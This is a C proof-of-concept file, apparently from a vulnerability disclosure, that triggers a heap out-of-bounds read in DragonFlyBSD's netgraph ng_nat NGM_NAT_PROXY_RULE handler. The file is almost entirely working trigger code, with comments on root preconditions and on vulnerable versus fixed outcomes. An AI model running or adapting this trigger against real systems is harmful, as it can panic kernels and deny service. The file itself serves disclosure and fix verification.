DF-0610 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | /* * DF-0610 โ PoC trigger for NGM_NAT_PROXY_RULE heap OOB read. * * Sends a NGM_NAT_PROXY_RULE netgraph control message whose data area is * filled with NON-NUL bytes and whose arglen matches the sent length (>= 6). * In the vulnerable ng_nat.c (lines 643-654) the handler does: * * char *cmd = (char *)msg->data; * if (msg->header.arglen < 6) { error = EINVAL; break; } * if (LibAliasProxyRule(priv->lib, cmd) != 0) // <-- treats cmd as C string * error = ENOMEM; * * LibAliasProxyRule() walks cmd looking for a terminating NUL. The wire * buffer is exactly arglen bytes with no guaranteed NUL, so the walk reads * past the allocation (heap OOB read). If it crosses into an unmapped page * the kernel faults and panics (local DoS). * * LATENT on the current DragonFlyBSD master tree: the netgraph7_nat module * CANNOT be compiled or loaded because two of its required source * dependencies are absent from sys/ itself: * - sys/netinet/libalias/ (alias.c, alias_db.c, alias_mod.c, * alias_proxy.c, alias_util.c) -- dir missing * - m_megapullup() (referenced at ng_nat.c:692) -- undefined * So `kldload ng_nat` fails with "No such file or directory" and the * trigger path is unreachable at runtime. This PoC is source-only and * documents the exact wire message that would fire the bug the moment * libalias / m_megapullup are reintroduced. * * Preconditions (when the module is buildable): * - root (ngc_attach is gated by SYSCAP_RESTRICTEDROOT at * sys/netgraph7/socket/ng_socket.c:182-184) * - a configured ng_nat node named "nat" in the netgraph graph * * Build: cc -o poc poc.c * Run: ./poc # as root, with ng_nat loaded + "nat" node present * Expected (bug present): kernel panic in LibAliasProxyRule (fault on OOB), * OR syscall returns success (latent corruption). * Expected (fixed): syscall returns EINVAL/ENOMEM cleanly, no panic. */ #include <sys/socket.h> #include <sys/types.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> /* AF_NETGRAPH โ sys/sys/socket.h:216 */ #ifndef AF_NETGRAPH #define AF_NETGRAPH 32 #endif /* Netgraph control socket type โ sys/netgraph7/socket/ng_socket.h */ #define NG_CONTROL 2 /* NGM_VERSION โ sys/netgraph7/ng_message.h */ #define NGM_VERSION 1 /* NGM_NAT_COOKIE โ sys/netgraph7/ng_nat.h:31 */ #define NGM_NAT_COOKIE 1107718711 /* NGM_NAT_PROXY_RULE โ 11th in the enum at sys/netgraph7/ng_nat.h:176-188 */ #define NGM_NAT_PROXY_RULE 11 #define NG_CMDSTRSIZ 32 #define NG_NODESIZ 32 /* struct ng_mesg โ sys/netgraph7/ng_message.h:69-82 (wire layout) */ struct ng_mesg { struct { unsigned char version; unsigned char spare; unsigned short spare2; unsigned int arglen; unsigned int cmd; unsigned int flags; unsigned int token; unsigned int typecookie; unsigned char cmdstr[NG_CMDSTRSIZ]; } header; char data[]; }; /* struct sockaddr_ng โ sys/netgraph7/socket/ng_socket.h:65-71 */ struct sockaddr_ng { unsigned char sg_len; unsigned short sg_family; char sg_data[NG_NODESIZ]; }; int main(void) { int s, rc; /* 64 bytes of non-NUL attacker data; arglen=64 (>= 6). */ const unsigned int arglen = 64; struct { struct ng_mesg m; char pad[64]; } buf; struct sockaddr_ng dst; if (getuid() != 0) { fprintf(stderr, "DF-0610: must run as root (ngc_attach needs " "SYSCAP_RESTRICTEDROOT)\n"); } memset(&buf, 0, sizeof(buf)); /* Fill the data area with NON-NUL bytes so strlen() walks past it. */ memset(buf.m.data, 'A', arglen); buf.m.header.version = NGM_VERSION; buf.m.header.arglen = arglen; buf.m.header.cmd = NGM_NAT_PROXY_RULE; buf.m.header.typecookie= NGM_NAT_COOKIE; buf.m.header.token = 0x44463631U; /* 'DF0610' truncated */ s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (s < 0) { perror("socket(AF_NETGRAPH,NG_CONTROL)"); fprintf(stderr, "NOTE: AF_NETGRAPH requires the netgraph7 socket module; " "if this fails the netgraph stack is not loaded.\n"); return 1; } memset(&dst, 0, sizeof(dst)); dst.sg_family = AF_NETGRAPH; dst.sg_len = sizeof(dst); strncpy(dst.sg_data, "nat", sizeof(dst.sg_data) - 1); /* * Send the NGM_NAT_PROXY_RULE control message to the "nat" node. * On the vulnerable path this causes LibAliasProxyRule() to walk * past msg->data (heap OOB read). On a fixed kernel the handler * kmalloc()s its own arglen+1 buffer, bcopy()s, force-NULs, and * passes that -- so no OOB. */ rc = sendto(s, &buf.m, sizeof(buf.m.header) + arglen, 0, (struct sockaddr *)&dst, sizeof(dst)); if (rc < 0) { fprintf(stderr, "sendto: %s (errno=%d)\n", strerror(errno), errno); fprintf(stderr, "If errno=ENOENT/ENODEV the 'nat' node does not exist " "(ng_nat module not loaded / not buildable on this tree).\n"); close(s); return 2; } printf("DF-0610: sent NGM_NAT_PROXY_RULE arglen=%u (all non-NUL) " "to node 'nat'\n", arglen); printf("On a vulnerable kernel: OOB read in LibAliasProxyRule " "(panic if walk hits unmapped page).\n"); close(s); return 0; } |